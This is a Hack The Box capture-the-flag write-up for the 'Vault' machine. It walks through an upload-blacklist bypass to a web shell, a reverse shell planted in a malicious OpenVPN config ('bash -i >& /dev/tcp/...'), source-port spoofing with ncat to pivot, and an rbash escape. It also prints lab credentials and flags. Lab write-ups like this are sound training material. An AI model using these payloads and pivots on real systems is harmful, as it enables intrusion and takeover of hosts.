Hack The Box - Writeup

Vault

Patrick Hener

November 5, 2018

Table of Content

Recon

As always Recon starts with nmap.

nmap

```
Discovered open port 80/tcp on 10.10.10.109
Discovered open port 22/tcp on 10.10.10.109
```

Second scan with UDP reveals snmp port is open.

Results of nmap with service scan

Port	Status	Service
22/tcp	open	OpenSSH 7.2p2 4ubuntu2.4
80/tcp	open	Apache httpd 2.4.18 (Ubuntu)

Browser

The site says it has a customer *sparklays* which is a work in progress. You will get **403 - Forbidden** for http://10.10.10.109/sparklays

Gobuster

Enumerating http://10.10.10.109/sparklays you will find:

- design (forbidden)

Wfuzz

You will eventually find http://10.10.10.109/sparklays/design/changelogo.php when enumerating further. Here you can upload a file and view it in the uploads folder you discovered.

Bypass Blacklist

When testing you will discover the upload takes a few filetypes and will decline taking certain filetypes like *php*. It is a server side blacklist. To bypass and get a cmd shell

working you need to use the file extension php5. Calling it you will be able to run commands as www-data.

Initial Foothold - Get user.txt

I used the cmd shell to transfer *socat* via *wget*, then *chmod 777* it and then reverse shelling my attackers box.

```
www-data@ubuntu:/tmp$ ls -la
total 420
drwxrwxrwt 12 root     root       4096 Nov  5 03:40 .
drwxr-xr-x 24 root     root       4096 Jul 17 06:17 ..
drwxrwxrwt  2 root     root       4096 Nov  5 00:57 .ICE-unix
drwxrwxrwt  2 root     root       4096 Nov  5 00:57 .Test-unix
-r--r--r--  1 root     root         11 Nov  5 00:57 .X0-lock
drwxrwxrwt  2 root     root       4096 Nov  5 00:57 .X11-unix
drwxrwxrwt  2 root     root       4096 Nov  5 00:57 .XIM-unix
drwxrwxrwt  2 root     root       4096 Nov  5 00:57 .font-unix
drwxrwxrwt  2 root     root       4096 Nov  5 00:57 VMwareDnD
-rwxrwxrwx  1 www-data www-data 375176 Apr 30  2018 socat
drwx------  2 root     root       4096 Nov  5 00:57 vmware-root
www-data@ubuntu:/tmp$ whoami
www-data
www-data@ubuntu:/tmp$
```

Now I am www-data @ a comfortable shell on the host.

Enumerating by hand you will find interesting things in *daves* home folder:

```
www-data@ubuntu:/home/dave$ cd Desktop/
www-data@ubuntu:/home/dave/Desktop$ ls -la
total 20
drwxr-xr-x  2 dave dave 4096 Sep  3 06:51 .
drwxr-xr-x 18 dave dave 4096 Sep  3 08:34 ..
-rw-rw-r--  1 alex alex   74 Jul 17 10:30 Servers
-rw-rw-r--  1 alex alex   14 Jul 17 10:31 key
-rw-rw-r--  1 alex alex   20 Jul 17 10:31 ssh
www-data@ubuntu:/home/dave/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
www-data@ubuntu:/home/dave/Desktop$ cat key
itscominghome
www-data@ubuntu:/home/dave/Desktop$ cat ssh
```

```
dave
Dav3therav3123
www-data@ubuntu:/home/dave/Desktop$
```

SSH login will just work fine as dave:

```
dave@ubuntu:~$ whoami
dave
dave@ubuntu:~$
```

You will find that ifconfig is showing a lot of interfaces, as well as the file *Servers* might tell you that qemu is running on this host.

```
dave@ubuntu:~/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
```

Well then let's transfer *nmap* static binary and enumerate further, I guess.

```
dave@ubuntu:~/Desktop$ wget http://10.10.14.3/nmap
dave@ubuntu:~/Desktop$ chmod +x nmap
dave@ubuntu:~/Desktop$ ./nmap -F 192.168.122.0/24
Nmap scan report for 192.168.122.1
Host is up (0.000099s latency).
Not shown: 315 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap scan report for 192.168.122.4
Host is up (0.76s latency).
Not shown: 316 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 192.168.122.5
Host is up (0.0022s latency).
All 318 scanned ports on 192.168.122.5 are closed

Nmap done: 256 IP addresses (3 hosts up) scanned in 4.06 seconds
```

Then we might map those remote services via ssh to a local service.

Looking at 192.168.122.4:80 you will discover a web frontend. One option is to test a ovpn file.

Gobuster will also reveal /notes which tells you the following: `chmod 123.ovpn and script.sh to 777`

This might be of importance.

Taking this into account I am opting for a reverse shell using a malicious .ovpn file following the instructions on this source: https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da.

You can use the following ovpn config to test and listen on 192.168.122.1:8181 to get a reverse shell from host *DNS*:

```
remote 127.0.0.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/8181 0>&1'"
```

As the connection on localhost is established a shell will pop:

```
dave@ubuntu:~/Desktop$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
id
Connection from [192.168.122.4] port 8181 [tcp/*] accepted (family 2, sport 46334)
bash: cannot set terminal process group (1100): Inappropriate ioctl for device
bash: no job control in this shell
root@DNS:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@DNS:/var/www/html#
```

If you dig a little you will discover new credentials:

```
root@DNS:/var/www/DNS/desktop# ls -la
ls -la
total 12
drwxrwxr-x 2 root root 4096 Jul 17 10:34 .
drwxrwxr-x 3 root root 4096 Jul 17 12:46 ..
-rw-rw-r-- 1 root root   19 Jul 17 10:34 ssh
-rw-rw-r-- 1 root root    0 Jul 17 10:34 user.txt
root@DNS:/var/www/DNS/desktop# cat ssh
cat ssh
dave
dav3gerous567
```

This is a checkpoint. You can ssh directly to 192.168.122.4, coming from 192.168.122.1. Then you are dave@DNS and not root anymore. But that is of no concern right now.

Now you can harvest the user.txt

```
dave@DNS:~$ ls -la
total 48
drwxr-xr-x 5 dave dave 4096 Sep  3 16:36 .
drwxr-xr-x 4 root root 4096 Jul 17 16:45 ..
-rw------- 1 dave dave  459 Nov  5 09:27 .bash_history
-rw-r--r-- 1 dave dave  220 Jul 17 16:45 .bash_logout
-rw-r--r-- 1 dave dave 3771 Jul 17 16:45 .bashrc
drwx------ 2 dave dave 4096 Jul 17 16:46 .cache
drwx------ 2 dave dave 4096 Jul 17 22:19 .gnupg
-rw-r--r-- 1 dave dave  655 Jul 17 16:45 .profile
-rw-r--r-- 1 root root   19 Jul 17 22:30 ssh
drwx------ 2 dave dave 4096 Jul 17 16:46 .ssh
-rw-r--r-- 1 dave dave    0 Jul 17 17:20 .sudo_as_admin_successful
-rw-rw-r-- 1 dave dave   33 Sep  3 14:42 user.txt
-rw------- 1 dave dave   49 Sep  3 16:35 .Xauthority
dave@DNS:~$ cat user.txt
a4947faa8d4e1f80771d34234bd88c73
dave@DNS:~$
```

`sudo -l` will reveal that you might just sudo bash to be root again.

Priv Esc - Get root.txt

There is another subnet which you might wanna look at:

```
root@DNS:~# ip r s
192.168.5.0/24 via 192.168.122.5 dev ens3
192.168.122.0/24 dev ens3  proto kernel  scope link  src 192.168.122.4
```

So *Vault* has to be in subnet **192.168.5.0**

nmap is part of the DNS server, so why not use that then. Plus *.bash_history* tells us that 192.168.5.1 might be something to look at. So let's scan that first real quick.

This will not get you anywhere. Enumerating further you will discover that vault has to be 192.168.5.2. Auth.log under `/var/log` will tell you some interesting things:

```
root@DNS:~# grep -a 192.168.5.2 /var/log/auth.log
Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh
Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: discon
Sep  2 15:07:51 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/us
Sep  2 15:10:20 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/us
Sep  2 15:10:34 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/us
root@DNS:~# /usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
```

```
Not shown: 999 closed ports
PORT    STATE SERVICE
987/tcp open  unknown

root@DNS:~#
```

So to get to *Vault* we would need to fake our source port. Well then let's do that!

So basically what we do is run ssh through ncat to fake our source port like this: Password is *dav3gerous567* again.

```
root@DNS:~# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444" &
[1] 3272
root@DNS:~# ssh dave@localhost -p 2222
dave@localhost's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

96 packages can be updated.
49 updates are security updates.


Last login: Mon Nov  5 14:13:04 2018
dave@vault
```

We are in rbash as it looks like:

```
dave@vault:~$ cd .ssh
-rbash: cd: restricted
dave@vault:~$
```

So let's escape that first.

```
dave@vault:~$ ed
!'/bin/sh'
$ whoami
dave
$ cd .ssh
$ ls -la
total 12
drwx------ 2 dave dave 4096 Jul 17 16:48 .
drwxr-xr-x 6 dave dave 4096 Nov  5 14:35 ..
-rw-r--r-- 1 dave dave  222 Jul 17 16:48 known_hosts
$ cd ..
```

So now we have a non-restriced shell. Upgrade it using `/bin/bash`.

```
dave@vault:~$ gpg --decrypt root.txt.gpg
gpg: encrypted with RSA key, ID D1EB1F03
gpg: decryption failed: secret key not available
```

Well looks like we need to find the key to this. On the first host (10.10.10.109) you will find the corresponding keyfile:

```
dave@ubuntu:~$ gpg --list-keys
/home/dave/.gnupg/pubring.gpg
------------------------------
pub   4096R/0FDFBFE4 2018-07-24
uid                  david <dave@david.com>
sub   4096R/D1EB1F03 2018-07-24
```

So first we copy via scp and the trick we did before:

```
root@DNS:~# ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" &
[1] 3447
root@DNS:~# scp -P 1234 dave@localhost:/home/dave/root.txt.gpg .
dave@localhost's password:
root.txt.gpg                                                                  100%  629     0.6
[1]+  Done                    ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53"
root@DNS:~# ls -la
total 52
drwxr-xr-x 5 dave dave 4096 Nov  5 14:55 .
drwxr-xr-x 4 root root 4096 Jul 17 16:45 ..
-rw------- 1 dave dave 2049 Nov  5 14:48 .bash_history
-rw-r--r-- 1 dave dave  220 Jul 17 16:45 .bash_logout
-rw-r--r-- 1 dave dave 3771 Jul 17 16:45 .bashrc
drwx------ 2 dave dave 4096 Jul 17 16:46 .cache
drwx------ 2 dave dave 4096 Nov  5 14:46 .gnupg
-rw-r--r-- 1 dave dave  655 Jul 17 16:45 .profile
-rw-r--r-- 1 root root  629 Nov  5 14:55 root.txt.gpg
-rw-r--r-- 1 root root   19 Jul 17 22:30 ssh
drwx------ 2 dave dave 4096 Jul 17 16:46 .ssh
-rw-r--r-- 1 dave dave    0 Jul 17 17:20 .sudo_as_admin_successful
-rw-rw-r-- 1 dave dave   33 Sep  3 14:42 user.txt
-rw------- 1 dave dave   49 Sep  3 16:35 .Xauthority
root@DNS:~#
```

So now we have the encrypted flag on DNS. Just need to get it to the ubuntu host now.

```
scp dave@192.168.122.4:/tmp/root.txt.gpg .
dave@192.168.122.4's password:
root.txt.gpg
```

```
dave@ubuntu:~$ ls -la

-rw-r--r--  1 dave dave  629 Nov  5 06:59 root.txt.gpg
```

Well then finally decrypt it I guess?

```
dave@ubuntu:/tmp$ gpg --decrypt root.txt.gpg

You need a passphrase to unlock the secret key for
user: "david <dave@david.com>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)

gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
      "david <dave@david.com>"
ca468370b91d1f5906e31093d9bfe819
dave@ubuntu:/tmp$
```

You remember the key we found eralier? `itscominghome`. Well have a educated guess what is the passphrase for the pgp key ;).

Happy P0wning.